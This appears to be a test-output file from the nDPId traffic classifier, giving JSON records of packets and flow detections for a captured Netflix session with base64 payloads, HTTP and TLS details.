+00718{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":902,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":703194,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"gCqoTGHM5JjWH70UCABFAAEMARZAAEAG8vTAqAEHuBnMGM+hAFBgKjK1ldAXCYAYEBWbUgAAAQEICh9k+AP\/\/IQ4R0VUIC90cGEzLzYxNi8yMDQxNzc5NjE2LmJpZiBIVFRQLzEuMQ0KSG9zdDogdHAuYWthbS5uZmx4aW1nLmNvbQ0KQWNjZXB0OiAqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4tdXMNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KVXNlci1BZ2VudDogQXJnby85MDAgQ0ZOZXR3b3JrLzgwOC4yLjE2IERhcndpbi8xNi4zLjANCg0K"} +00703{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":902,"source":"netflix.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":4,"flow_first_seen":1484319049672,"flow_last_seen":1484319049703,"flow_tot_l4_data_len":364,"flow_min_l4_data_len":32,"flow_max_l4_data_len":248,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"184.25.204.24","src_port":53153,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"tp.akam.nflximg.com","url":"tp.akam.nflximg.com\/tpa3\/616\/2041779616.bif","code":0,"content_type":"","user_agent":"Argo\/900 CFNetwork\/808.2.16 Darwin\/16.3.0"}} +00426{"flow_id":29,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":905,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":725869,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0k1dAADwGZWu4GcwYwKgBBwBQz6GV0BcJYCozjYAQA6uA6gAAAQEICv\/8hF4fZPgD"} +00437{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":908,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":740377,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACoGRvs2vxEzwKgBBwG7z6pwpjzKqcMkW6ASOJCp2gAAAgQFtAQCCAqtikoKH2T39AEDAwg="} +00425{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":910,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":743556,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0ddRAAEAGu07AqAEHNr8RM8+qAbupwyRbcKY8y4AQEBUA7QAAAQEICh9k+CqtikoK"} +01124{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":912,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":748048,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"gCqoTGHM5JjWH70UCABFAAI5KeBAAEAGBT7AqAEHNr8RM8+qAbupwyRbcKY8y4AYEBVJ9gAAAQEICh9k+C6tikoKFgMBAgABAAH8AwPYXvBe7OTKRo\/HluRIJZi3JSt\/Gg\/Ui4yLFjBV5BYvDAAAtsAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwDLALsAqwCbAD8AFAJ0APQA1AITAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADAAmgCZAJgAlwBFAEQAQwBCwDHALcApwCXADsAEAJwAPAAvAJYAQQAHwBHAB8AMwAIABQAEwBLACAAWABMAEAANwA3AAwAKABUAEgAPAAwACQD\/AQABHQAAABkAFwAAFGlvcy5uY2NwLm5ldGZsaXguY29tAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEBABUAqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":912,"source":"netflix.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":4,"flow_first_seen":1484319049684,"flow_last_seen":1484319049748,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53162,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +02365{"flow_id":29,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":913,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":753726,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXck1hAADwGX8K4GcwYwKgBBwBQz6GV0BcJYCozjYAQA6shgQAAAQEICv\/8hHAfZPgDSFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IEFwYWNoZQ0KRVRhZzogIjdlZjU1NjAxNmRhY2U5NzliMmFjOWM3N2M5NmRmYTE2OjE0Mzg3NDY2NzMiDQpMYXN0LU1vZGlmaWVkOiBXZWQsIDA1IEF1ZyAyMDE1IDAzOjUxOjEzIEdNVA0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCkNvbnRlbnQtTGVuZ3RoOiAxMTMxNjEzDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4NCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9MTk3MTc5NzQNCkV4cGlyZXM6IFR1ZSwgMjkgQXVnIDIwMTcgMjA6MDM6NDMgR01UDQpEYXRlOiBGcmksIDEzIEphbiAyMDE3IDE0OjUwOjQ5IEdNVA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KYWNjZXNzLWNvbnRyb2wtYWxsb3ctaGVhZGVyczogKg0KYWNjZXNzLWNvbnRyb2wtYWxsb3ctbWV0aG9kczogR0VUDQphY2Nlc3MtY29udHJvbC1hbGxvdy1vcmlnaW46ICoNCg0KiUJJRg0KGgoAAAAACgEAABAnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACYCAAAAQAAAGgKAAACAAAA6SQAAAMAAAD5NAAABAAAANhTAAAFAAAAEWIAAAYAAABYcQAABwAAAFuAAAAIAAAAyJIAAAkAAAAloQAACgAAAPmmAAALAAAAdrYAAAwAAAA1xAAADQAAAHLUAAAOAAAAkeAAAA8AAABK9wAAEAAAAEUMAQARAAAAOygBABIAAACuPQEAEwAAAFtUAQAUAAAAj2gBABUAAAA3egEAFgAAAIyMAQAXAAAAnJgBABgAAAALsAEAGQAAAEPMAQAaAAAAy90BABsAAAAd8gEAHAAAABAOAgAdAAAAZSACAB4AAAC2LAIAHwAAABtAAgAgAAAAPFgCACEAAAA8bwIAIgAAAKmRAgAjAAAA960CACQAAACQvwIAJQAAANrdAgAmAAAA5fECACcAAAAoBwMAKAAAABwYAwApAAAAeScDACoAAACLNQMAKwAAAONDAwAsAAAARVwDAC0AAABCZwMALgAAAOlxAwAvAAAAlokDADAAAAAplAMAMQAAAPyhAwAyAAAAr7EDADMAAACywAMANAAAALfNAwA1AAAAEdoDADYAAAAJ5wMANwAAAC\/zAwA4AAAABgUEADkAAAB1GgQAOgAAABQuBAA7AAAAmDsEADwAAABdSAQAPQAAAAtTBAA+AAAAVl4EAD8AAADybAQAQAAAAAZ5BABBAAAAaowEAEIAAABymQQAQwAAAMCmBABEAAAAQLEEAEUAAAAcvgQARgAAADHHBABHAAAAG90EAEgAAAAM7gQASQAAAIAKBQBKAAAAIhgFAEsAAABrJwUATAAAAL01BQBNAAAANUYFAE4AAACyWQUATwAAAJ1pBQBQAAAAGnsFAFEAAACojQUAUgAAAI+oBQBTAAAAxLwFAFQAAADUzAUAVQAAABLbBQBWAAAAMekFAFcAAAAp+AUAWAAAAIgDBgBZAAAAYw4GAFoAAAB8FwYAWwAAABEkBgBcAAAAtTgGAF0AAABqUAYAXgAAAGFiBgBfAAAApm8GAGAAAAD3ewYAYQAAAEiOBgBiAAAA4poGAGMAAACOqwYAZAAAAIW9BgBlAAAA8c0GAGYAAABH5gYAZwAAAPr5BgBoAAAABwwHAGkAAAApGwcAagAAAM4vBwBrAAAAtkoHAGwAAACSVAcAbQAAAMRrBwBuAAAAC3wHAG8AAAD5iwcAcAAAAL6WBwBxAAAALKoHAHIAAACMwwcAcwAAAOjVBwB0AAAA6PQHAHUAAAAyCwg="} +00773{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":913,"source":"netflix.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":6,"flow_first_seen":1484319049672,"flow_last_seen":1484319049753,"flow_tot_l4_data_len":1876,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"184.25.204.24","src_port":53153,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"25":"HTTP suspicious content"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"tp.akam.nflximg.com","url":"tp.akam.nflximg.com\/tpa3\/616\/2041779616.bif","code":200,"content_type":"text\/plain","user_agent":"Argo\/900 CFNetwork\/808.2.16 Darwin\/16.3.0"}} +02381{"flow_id":29,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":915,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":781566,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXck1lAADwGX8G4GcwYwKgBBwBQz6GV0ByxYCozjYAQA6uyYQAAAQEICv\/8hHAfZPgDAHYAAADiHggAdwAAANE7CAB4AAAAdU4IAHkAAAClYQgAegAAAO16CAB7AAAAlJQIAHwAAADCqQgAfQAAAJizCAB+AAAA+8gIAH8AAADQ2QgAgAAAAFjmCACBAAAAzvsIAIIAAAC3EgkAgwAAAIsmCQCEAAAAsT4JAIUAAABhTgkAhgAAAARfCQCHAAAAdm4JAIgAAAAYfwkAiQAAAD+RCQCKAAAAgZ4JAIsAAADarQkAjAAAAAW8CQCNAAAAicgJAI4AAADX0wkAjwAAAJDeCQCQAAAAxvMJAJEAAADMBgoAkgAAAHYYCgCTAAAAJC0KAJQAAABGPQoAlQAAAEdTCgCWAAAAYmkKAJcAAADiewoAmAAAAImTCgCZAAAA3KwKAJoAAACWwQoAmwAAAOvVCgCcAAAAjOcKAJ0AAABc6QoAngAAAPz5CgCfAAAAkQoLAKAAAAD7HQsAoQAAAI4sCwCiAAAABDsLAKMAAADgSwsApAAAACVeCwClAAAAYm4LAKYAAADffgsApwAAAL+SCwCoAAAAFKALAKkAAAAarAsAqgAAADSzCwCrAAAASMQLAKwAAAD23AsArQAAANztCwCuAAAAngAMAK8AAADRDgwAsAAAAJ0bDACxAAAA7DEMALIAAAAZPwwAswAAAIBMDAC0AAAAfloMALUAAABCZgwAtgAAACN3DAC3AAAAUogMALgAAAC9lwwAuQAAAFOmDAC6AAAAcrIMALsAAACeuwwAvAAAAF3SDAC9AAAAj+gMAL4AAACU9gwAvwAAAIQGDQDAAAAAfBQNAMEAAAC1IQ0AwgAAACsvDQDDAAAAvjsNAMQAAACaSQ0AxQAAAMtYDQDGAAAAAGwNAMcAAACXeQ0AyAAAAOuGDQDJAAAAZ58NAMoAAACitQ0AywAAANHCDQDMAAAAY9cNAM0AAABz5g0AzgAAAKbwDQDPAAAAwPoNANAAAABEBQ4A0QAAALAPDgDSAAAAqBkOANMAAACAJQ4A1AAAAHIuDgDVAAAAvjwOANYAAABDSw4A1wAAANdVDgDYAAAAOGIOANkAAACSbQ4A2gAAAGR6DgDbAAAAvYUOANwAAADqmw4A3QAAABSkDgDeAAAA1rAOAN8AAACFww4A4AAAANTRDgDhAAAATt8OAOIAAAAS6w4A4wAAAP76DgDkAAAAkRIPAOUAAABvHw8A5gAAAMIwDwDnAAAAYzsPAOgAAABuRg8A6QAAAFpXDwDqAAAAg2cPAOsAAAA+eg8A7AAAAB6MDwDtAAAA350PAO4AAAAUsQ8A7wAAAIrBDwDwAAAA7tIPAPEAAAAj4w8A8gAAAFbvDwDzAAAAWPsPAPQAAACyBhAA9QAAAFAREAD2AAAA6RsQAPcAAACoJhAA+AAAALgxEAD5AAAA+jwQAPoAAABwTxAA+wAAAPBfEAD8AAAA\/GoQAP0AAAApdhAA\/gAAAOKBEAD\/AAAAWo4QAAABAABVnBAAAQEAAJGpEAACAQAADsAQAAMBAAAK3RAABAEAACrtEAAFAQAA1v0QAAYBAAD9EhEABwEAAB8kEQAIAQAAUigRAAkBAABdNBEA\/\/\/\/\/11EEQD\/2P\/gABBKRklGAAEBAQABAAEAAP\/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv\/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMv\/AABEIAHoA8AMBIgACEQEDEQH\/xAAVAAEBAAAAAAAAAAAAAAAAAAAACP\/EABQQAQAAAAAAAAAAAAAAAAAAAAD\/xAAUAQEAAAAAAAAAAAAAAAAAAAAA\/8QAFBEBAAAAAAA="} +00428{"flow_id":29,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":916,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":783452,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0v6RAAEAGNT7AqAEHuBnMGM+hAFBgKjONldAiWYAQD9JpFQAAAQEICh9k+E\/\/\/IRw"} +00425{"flow_id":30,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":919,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":807153,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0dtFAACoG0DE2vxEzwKgBBwG7z6pwpjzLqcMmYIAQAD0OrAAAAQEICq2KShofZPgu"} +02377{"flow_id":30,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":920,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":807663,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcdtJAACoGyog2vxEzwKgBBwG7z6pwpjzLqcMmYIAQAD2P+AAAAQEICq2KShsfZPguFgMDAFkCAABVAwNYeOlJ\/pfJqmAh6GiXrO9d0I7fhKvYxK1v\/zWr5r1bnCBWvUI8NvPsMZcPVtkKL+icpZR3ZueLBvm+0nfU3vw0c8AvAAAN\/wEAAQAACwAEAwABAhYDAwgiCwAIHgAIGwAEIDCCBBwwggMEoAMCAQICAhObMA0GCSqGSIb3DQEBCwUAMIGZMS0wKwYDVQQDEyRQcmltYXJ5IENlcnRpZmljYXRlIEF1dGhvcml0eSAoMjAwOSkxEzARBgNVBAgTCkNhbGlmb3JuaWExCzAJBgNVBAYTAlVTMRQwEgYDVQQKEwtOZXRmbGl4IEluYzEcMBoGA1UECxMTRWxlY3Ryb25pYyBEZWxpdmVyeTESMBAGA1UEBxMJTG9zIEdhdG9zMB4XDTAxMDExNzIwMzIwOVoXDTE4MDMyNDIwMzIwOVowgYAxGzAZBgNVBAMMEioubmNjcC5uZXRmbGl4LmNvbTEWMBQGA1UECgwNTmV0ZmxpeCwgSW5jLjETMBEGA1UECwwKT3BlcmF0aW9uczELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKCMPKDrRKNlpQYmDci6pMXZdSSUbKrQRkPDz7HhtKtPPugiuJduNExZc6Kdb12vBV\/O+SiPHaVK7mpFvbFGQlMb6qQfwVOi\/aD6FF0wubaBBRmV5soLn6Uml8hcRcy1GwhcE0PciETMHgCKsYz6GRuA022Eqzo18xrMBx0ZwPuRDaRc+aOcYlh2D8wJdLQNpKdgRiYnOzqzb1V73+PIcLBKBaRmuSAMY7T6QAsBvotFYlMY32uWd0vZw9isFDSJCV8w2CSLAAeSkvUEJt3zKqKD5d5h8lWhsfYUg78EDVQMWb3iyTQ+UHy3b4IHtGaB+ybeHo7UkyS4NKYViXGQ4bECAwEAAaOBhDCBgTALBgNVHQ8EBAMCBaAwHwYDVR0jBBgwFoAUgzutabNbHNPaO8lPBXMZwiqK8P8wHQYDVR0OBBYEFH8tt\/b+DoJ\/qUOipuTAuxoaEiJTMBMGA1UdJQQMMAoGCCsGAQUFBwMBMB0GA1UdEQQWMBSCEioubmNjcC5uZXRmbGl4LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAkveZR7qD\/7\/8qJ4CSsfWHq+Cw0DsuYB9YjDmpMA3gU+yzX9cXxMn8tY3AApgaSjK94LEU1T7O\/bsKsL0uCJuFhSfW4W3+AlTe3UhEOMeILOZwgcMhUPQXGI28idMvibE1zQjX96OSlU9uDL6s8itcycsRGgSP0e+Umi1cijldISAIfgK+QzQIa\/k6kuJZ2i1hk4M6e8JqkqoYRso7uoX2ECQVKzVgRgm0z79wLxOrKXQf5L2Js7s03GHwdt04kQTtyYRh6NEGBmzjgdicV4sXy4g3wbAPPR1+itz5sKT\/vAAteT\/4Ik8+RSfZGNefG8eQxjBkJKvoKV1GyHiH3YYrgAD9TCCA\/EwggLZoAMCAQICAQAwDQYJKoZIhvcNAQEFBQAwgZkxLTArBgNVBAMTJFByaW1hcnkgQ2VydGlmaWNhdGUgQXV0aG9yaXR5ICgyMDA5KTETMBEGA1UECBMKQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwHhcNMDEwMTAxMTIzMDAwWhcNMjkwMTAxMTIzMDAwWjCBmTEtMCsGA1UEAxMkUHJpbWFyeSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgKDIwMDkpMRMwEQYDVQQIEwo="} +00817{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":920,"source":"netflix.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":6,"flow_first_seen":1484319049684,"flow_last_seen":1484319049807,"flow_tot_l4_data_len":2177,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":362,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53162,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02403{"flow_id":29,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":921,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":838404,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXck1pAADwGX8C4GcwYwKgBBwBQz6GV0CJZYCozjYAQA6vKJgAAAQEICv\/8hHAfZPgDAAAAAAAAAAAAAAD\/2gAMAwEAAhEDEQA\/AJ\/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB\/\/9n\/2P\/gABBKRklGAAEBAQABAAEAAP\/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv\/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMv\/AABEIAHoA8AMBIgACEQEDEQH\/xAAbAAACAwEBAQAAAAAAAAAAAAAEBQIDBgEAB\/\/EAEEQAAIBAwIDBQUFBgMIAwAAAAECAwAEERIhBRMxIkFRYYEGFDJxkRYjUqGxFULB0eHwM2JyByREU4KSsvEXQ6L\/xAAYAQADAQEAAAAAAAAAAAAAAAAAAQIDBP\/EACERAAICAgMBAQEBAQAAAAAAAAABAhESIQMTMUFRYTJx\/9oADAMBAAIRAxEAPwD7tzhXucK+ffbIfjH1r32yX8Q+tR1MeSPoHOHlXucviK+fD2vBP+J9P\/VdHtdEespz8xR1MMkb\/nr4j617nr4j618\/+1aZ\/wAbH0Ne+1IJ2nXHpR1MeSPoHPXxrnPXxr5+3tQuNrhfyr32mPX3hMedHUwyR9A56+Ne5ynvr5\/9pn06udHiufalsZEyH0o6WGSPoBnTxrnvCZ+L86+f\/ahyR95HXvtNJ+OOjpYZI+ge8p+IfWu+8L418\/HtJKf3ovU14e0cp6GL60dLHkjfGdT1NeM6eIrAr7SSE4HLz\/qqX2jkzuI\/+6jpYZI3fvEfiK4ZkNYT7RyDqif91SHtDMcfc5+RzR0sM0bjnJXuevjWI+0MvT3dtu6ufaFu+Bx6UdLDNG45ynqa5zkxWJ+0R74nFdHtH\/kkHpR0sM0bTmxiotcxDbUfSsZ9o1O5WT6V77RxHuP0p9LDNGzFxG3RzXDIh\/erHfaGI97D\/prw4\/G3SUj0o6WPsRseYg\/eNcMi+NY48fj\/AOe30rn7fj\/55o6ZB2xNjrTxrhkXxrIft6P\/AJ49a9+3kPSZfrR0yDtifP2tJWBMcsOBt8ddj4bdsdRK6B\/myfQUaeORm2ULwfh6sy5Oq4I9QM5HfQ1zxrhk9tkcJt1lQAs6XLkEeGO7r1rXKX4ZuMQdoLhGOIpQO\/tDNR93uv8A6onfx7sUbdXlk1n\/ALtYXkU6kYBuQ6MO\/uzQ8M884YxqIHXGFU7tn501JhiihEudR5kcgAHcmf41bHOBAUkhnLnoQowP4mmDQMbM3Ml4sIPfLFsMd2VP60KktwiEpcQSjpgxnAH1oUrHgkBq7CZyI35Y+DWQPr\/SuyC7kGrmRaRtkPsKa31lcQxHXc8LcafgjnGrfONj178fKlEojMZOnINT2fhceJNelkeoRNlxqGQNLHeqn5ik8p2k3xkDH61baO4s0jEMj9nDCN9W2\/7vdUWv9UiqMrHEQNDwk7gbbCnmJ8WihnmXGvs47y2QP5UVBLbJq97mfGBgxdB8zQA4uDOZJLe1DN2TlC23kCcA1JeKQc0p7mrIzFiwJGfQbUNslRSCJrq3WZ1ilEkY3XBycfzqiS+TViITfFtk93fmqxKjmKeFJOYM8xRGoXfpp7z8zXYJbHWZLm5vIHfqPdNePkdX8KeRLRa17cKF1hiG6ZHdUjfDl6s="} +00429{"flow_id":29,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":922,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":840445,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0wnNAAEAGMm\/AqAEHuBnMGM+hAFBgKjONldAoAYAQEABjBwAAAQEICh9k+If\/\/IRw"} +01887{"flow_id":30,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":923,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":850914,"pkt_caplen":1146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1146,"pkt_l4_len":1112,"pkt":"5JjWH70UgCqoTGHMCABFIARsdtNAACoGy\/c2vxEzwKgBBwG7z6pwpkJzqcMmYIAYAD1ffQAAAQEICq2KShsfZPguQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQClPiFZwHhqw9wmYrruaK5lM2jxb7OnG1xOPDkmSt9ostlHBuuEIpSAegeSu5IfyCw3LHZ5HEtbube7+v\/KvRUK5l\/8E0dgm2kIkuwXCInrxOb8Vue1EwYiVMbipMtTVxaqzqdYnzqFFOOaTfiiHdtDWwp3jjKl188E9wc5el6k667OBUw7VTGI1M30wgKX7rU1qB+D91fdnRNVb90uSyhuGgXw1LaZpqNyQ9UU0bMQcwmLcmoY3NWdMMN4j0Fw11owmtXswG41YKRxcm9yJjbyyDmry1mVF9Ri9GMcR5I+VveQudxyLML\/0PMTT+qCooHPhnMm\/zY9AEn0tmAkD70jAgMBAAGjQjBAMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdDgQWBBSDO61ps1sc09o7yU8FcxnCKorw\/zANBgkqhkiG9w0BAQUFAAOCAQEAPX7Vj0zBi5fWHkB\/U5GnVLqaRStn52gTsUPoxmVjareLMMkMSrAGtP8CHGMLLrjOh9GFMjrsJM6Q+mLzAhMhpmvZPRAM4kzXdAYTLRWD4dxyYCkG2sjDdGTYdO7AfokcOnu5kypA0bdWe8KcZVFjpw8f+ACSkxjkgL+lk0kWZf+uiCojU3Wt9O\/Z8+xm1PIbBOEfirH+o8gWESD86CiOqZH9cFmSjXziHHxIo4mgCTt9Jse8h8gkDJE2wQTeq3ttX1P5eyrHphoXtwy2Wtx77US+s5J0di17tOPKnQFd35Ew\/l0PWFqar2MQ46R\/UU15UR68hb86jgCQplA8NeBZoBYDAwFNDAABSQMAF0EEr3RSXEkjHtfIqWMkfAqdU9d2nJiJRZNuTwnWmlfOFK4Bj36CrnORHVgqktgwO17Wp6i3wIytK6HznXXPxu7hXgYBAQCLDlw3LDhwMlYCFG\/uJbmdBIwqib4KuASxI6T4OoJ0X99+GQOEiIvzLcdxm8BYkym+bbKhAjtbMZO7WXHYs8+aMsBsdzQixvUT2yp3scK6w1T+xI2vF06ut